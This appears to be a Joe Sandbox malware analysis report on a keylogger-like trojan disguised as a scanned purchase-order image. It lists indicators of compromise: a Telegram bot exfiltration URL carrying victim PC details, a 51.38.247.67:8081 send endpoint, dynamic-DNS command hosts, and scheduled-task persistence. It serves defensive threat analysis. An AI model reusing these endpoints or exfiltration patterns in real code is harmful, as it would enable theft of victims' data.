https://www.office.com/	HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D95000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D86000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r11.o.lencr.org0#	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4129429491.0000000000E06000.00000004.00000020.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4144722830.0000000006328000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4145363700.000000000628D000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4129499108.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=enH	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003E2C000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.00000000040A5000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003F82000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003FD0000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003DDE000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003C7E000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003E22000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003CCC000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003F45000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003CF3000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003E70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C87000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, HJnkiZjAPsec.exe.0.dr	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://aborters.duckdns.org:8081	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?L	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://www.jiyu-kobo.co.jp/	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002D50000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DC0000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C5F000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C87000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1736661600.0000000007352000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20a	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002C87000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003F88000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003DE4000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003F5D000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003DB9000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000003E2E000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4140455092.0000000004081000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003DFD000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003E28000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003C59000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003F20000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003CCE000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4140715633.0000000003C84000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://kafs.co.ugd	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4132369730.0000000002E8D000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, HJnkiZjAPsec.exe, 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
104.243.33.38	kafs.co.ug	United States	23470	RELIABLESITEUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541880
Start date and time:	2024-10-25 09:17:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@16/11@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 261 Number of non-executed functions: 18
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Simulations

Behavior and APIs

Time	Type	Description
03:17:59	API Interceptor	8337836x Sleep call for process: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe modified
03:18:01	API Interceptor	17x Sleep call for process: powershell.exe modified
03:18:05	API Interceptor	6072911x Sleep call for process: HJnkiZjAPsec.exe modified
08:18:03	Task Scheduler	Run new task: HJnkiZjAPsec path: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Quote1.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	g1TLK7mbZD.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Purchase Order.exe	Get hash	malicious	MassLogger RAT	Browse
	kQyd2z80gD.exe	Get hash	malicious	DCRat	Browse
	REVISED INVOICE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Produccion.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	226999705-124613-sanlccjavap0004-67.exe	Get hash	malicious	Snake Keylogger	Browse
	BT-036016002U_RFQ 014-010-02024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	RFQ_64182MR_PDF.R00.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse
188.114.97.3	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	aa.opencompanies.co.uk/vEXJm/
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/KXy1F
	01YP9Lwum8.exe	Get hash	malicious	DCRat	Browse	77777cm.nyashtyan.in/externalpipejsprocessAuthapiDbtrackWordpressCdn.php
	PO-000041522.exe	Get hash	malicious	FormBook	Browse	www.freedietbuilder.online/nnla/
	http://onlinecheapflights.net/	Get hash	malicious	Unknown	Browse	onlinecheapflights.net/
	Technical Datasheet and Specification_PDF.exe	Get hash	malicious	Unknown	Browse	www.rihanaroly.sbs/othk/?0dk=RykyQ3QZ+r1dqZwhAQupYMuQy26h2PYi8Fyfl3RAfHSVFgYOfXbCDUNV+aNHe22U393WzLygMMdANTa+vksg1hx1LENxGTGsZa2bATkiGgfiS6KvHA==&urk=NXuT
	request-BPp -RFQ 0975432.exe	Get hash	malicious	PureLog Stealer	Browse	www.ergeneescortg.xyz/guou/
	Halkbank_Ekstre_20230426_075819_154055.exe	Get hash	malicious	FormBook	Browse	www.thetahostthe.top/9r5x/
	http://comodozeropoint.com/updates/1736162964/N1/Team.exe	Get hash	malicious	Unknown	Browse	comodozeropoint.com/updates/1736162964/N1/Team.exe
	SecuriteInfo.com.Win32.MalwareX-gen.14607.6011.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
193.122.130.0	REVISED INVOICE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	226999705-124613-sanlccjavap0004-67.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	BT-036016002U_RFQ 014-010-02024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Pedido de Cota#U00e7#U00e3o-24100004_lista comercial.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	rp8s2rxD5lpuQAG.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	InvoiceXCopy.xls	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Pedido urgente_pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	CLOSURE.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	greatthingswithgreatideasgivenmerestthignstgood.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	checkip.dyndns.org/
	NEW ORDER QUOTATION REQUEST.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	Quote1.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	22390016593_20210618_14375054_HesapOzeti.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	g1TLK7mbZD.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	EKSTRE_1022.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	Purchase Order.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	Halkbank_Ekstre_20241022_081224_563756.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	REVISED INVOICE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	SIPARIS-290124.PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	Renommxterne.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	PAYMENT ADVISE MT107647545.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
checkip.dyndns.com	Quote1.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	22390016593_20210618_14375054_HesapOzeti.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	g1TLK7mbZD.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	EKSTRE_1022.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	Purchase Order.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	Halkbank_Ekstre_20241022_081224_563756.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.247.73
	REVISED INVOICE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	SIPARIS-290124.PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
	Renommxterne.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	PAYMENT ADVISE MT107647545.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
api.telegram.org	Quote1.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	g1TLK7mbZD.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Purchase Order.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	kQyd2z80gD.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
	REVISED INVOICE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Produccion.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	226999705-124613-sanlccjavap0004-67.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	BT-036016002U_RFQ 014-010-02024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RFQ_64182MR_PDF.R00.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Quote1.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	g1TLK7mbZD.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Purchase Order.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	kQyd2z80gD.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
	REVISED INVOICE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Produccion.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	226999705-124613-sanlccjavap0004-67.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	BT-036016002U_RFQ 014-010-02024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RFQ_64182MR_PDF.R00.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
CLOUDFLARENETUS	Scan_Rev 20220731_PO&OC#88SU7782743882874_PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://t.ly/BavariaFilmGmbH2410	Get hash	malicious	Unknown	Browse	188.114.96.3
	Quote1.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	runtime.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	runtime.exe	Get hash	malicious	Unknown	Browse	162.159.128.233
	lUAc7lqa56.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	https://temp.farenheit.net/XL1VkZE1FVGZjL0VwUUt5cWc4dkk1SWpqVFFTMUtQZ0krRFhobktOS05RSWpVMTZIYzk3b3hOUTBoZ2VYdnAzM21wZnYwMVBmdGN0MW12M09qVmMzbnNVeVpkeXBxeHVGd2V4eDRvVlZ5dERsakpjbGV3ZVZxRVhlZ0F6Q3hwQlptYUUyRFhHRzY3YkRXQ3hjWmhBZDBpMkNpakJDSnhzUG9xa2k2ZkdacVpDZVhFVFppeUJLcHJIaC0teVVJeERBTFd0K3k3b01rYS0tRk9zSWNIVEd0blVHZVlhTlFnVUxldz09?cid=2242420613	Get hash	malicious	Unknown	Browse	104.18.90.62
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	104.18.91.123
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	104.22.149.180
	Credit_Details2251397102400024.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3
RELIABLESITEUS	http://holidaybunch.com	Get hash	malicious	Unknown	Browse	104.194.8.184
	SecuriteInfo.com.BScope.Trojan.Agentb.20481.11202.msi	Get hash	malicious	Unknown	Browse	103.195.103.66
	Priority_Quote_Request_Items_List.exe	Get hash	malicious	Remcos	Browse	185.150.191.117
	ppc.elf	Get hash	malicious	Mirai	Browse	154.16.151.108
	20240930_185453_p1uYhraXAa8FqoQDzs1lqwv0Fp3NVQrL.eml	Get hash	malicious	GRQ Scam	Browse	104.238.220.6
	https://pub-c5538851da6244d790b9ba2a84c8b2af.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.194.8.184
	na.elf	Get hash	malicious	Mirai	Browse	45.126.216.243
	x86.elf	Get hash	malicious	Mirai	Browse	154.16.151.105
	https://oaemk-f29f.hmnaitswiaa.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.194.8.184
	http://sanjaygowda23.github.io/netflix-homepage	Get hash	malicious	HTMLPhisher	Browse	104.194.8.184
ORACLE-BMC-31898US	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	140.238.246.224
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	130.35.12.1
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	168.138.244.186
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	130.61.64.122
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	140.238.158.19
	g1TLK7mbZD.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	EKSTRE_1022.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	Purchase Order.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	REVISED INVOICE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	botnet.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	140.238.98.34

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Scan_Rev 20220731_PO&OC#88SU7782743882874_PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Quote1.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	22390016593_20210618_14375054_HesapOzeti.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	g1TLK7mbZD.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	EKSTRE_1022.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	Purchase Order.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	Halkbank_Ekstre_20241022_081224_563756.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	SIPARIS-290124.PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	Renommxterne.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	PAYMENT ADVISE MT107647545.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	Scan_Rev 20220731_PO&OC#88SU7782743882874_PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	copia de pago____xls.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	Quote1.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	runtime.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	runtime.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://temp.farenheit.net/XL1VkZE1FVGZjL0VwUUt5cWc4dkk1SWpqVFFTMUtQZ0krRFhobktOS05RSWpVMTZIYzk3b3hOUTBoZ2VYdnAzM21wZnYwMVBmdGN0MW12M09qVmMzbnNVeVpkeXBxeHVGd2V4eDRvVlZ5dERsakpjbGV3ZVZxRVhlZ0F6Q3hwQlptYUUyRFhHRzY3YkRXQ3hjWmhBZDBpMkNpakJDSnhzUG9xa2k2ZkdacVpDZVhFVFppeUJLcHJIaC0teVVJeERBTFd0K3k3b01rYS0tRk9zSWNIVEd0blVHZVlhTlFnVUxldz09?cid=2242420613	Get hash	malicious	Unknown	Browse	149.154.167.220
	nicegirlwithnewthingswhichevennobodknowthatkissingme.hta	Get hash	malicious	Cobalt Strike	Browse	149.154.167.220
	#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.220
	EXSP 5634 HISP9005 ST MSDS DOKUME74247liniereletOpsistype.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	QYP0tD7z0c.exe	Get hash	malicious	DCRat	Browse	149.154.167.220

Process:	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	5.352427679901606
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPE4KMRuAE4KzecKIE4oKNzKorE4x84j:MIHK5HKH1qHiYHKh3oPHKMRuAHKzectP
MD5:	3978978DE913FD1C068312697D6E5917
SHA1:	1DABBE7FB8F38F6EBF474CE5F0ECAA89F48E2538
SHA-256:	33B7B1668DDD3AB39711F9F93B667F6F2F674348A79228BFA163BA625B37F120
SHA-512:	78694B97F5D03758F503155E5CE5B85AABDF9690F0DFBC51FCE9926BE2D86BCF99E008659420F1E8489A7F6EA125F2776D4C6DC4B151566B529454512352953D
Malicious:	false
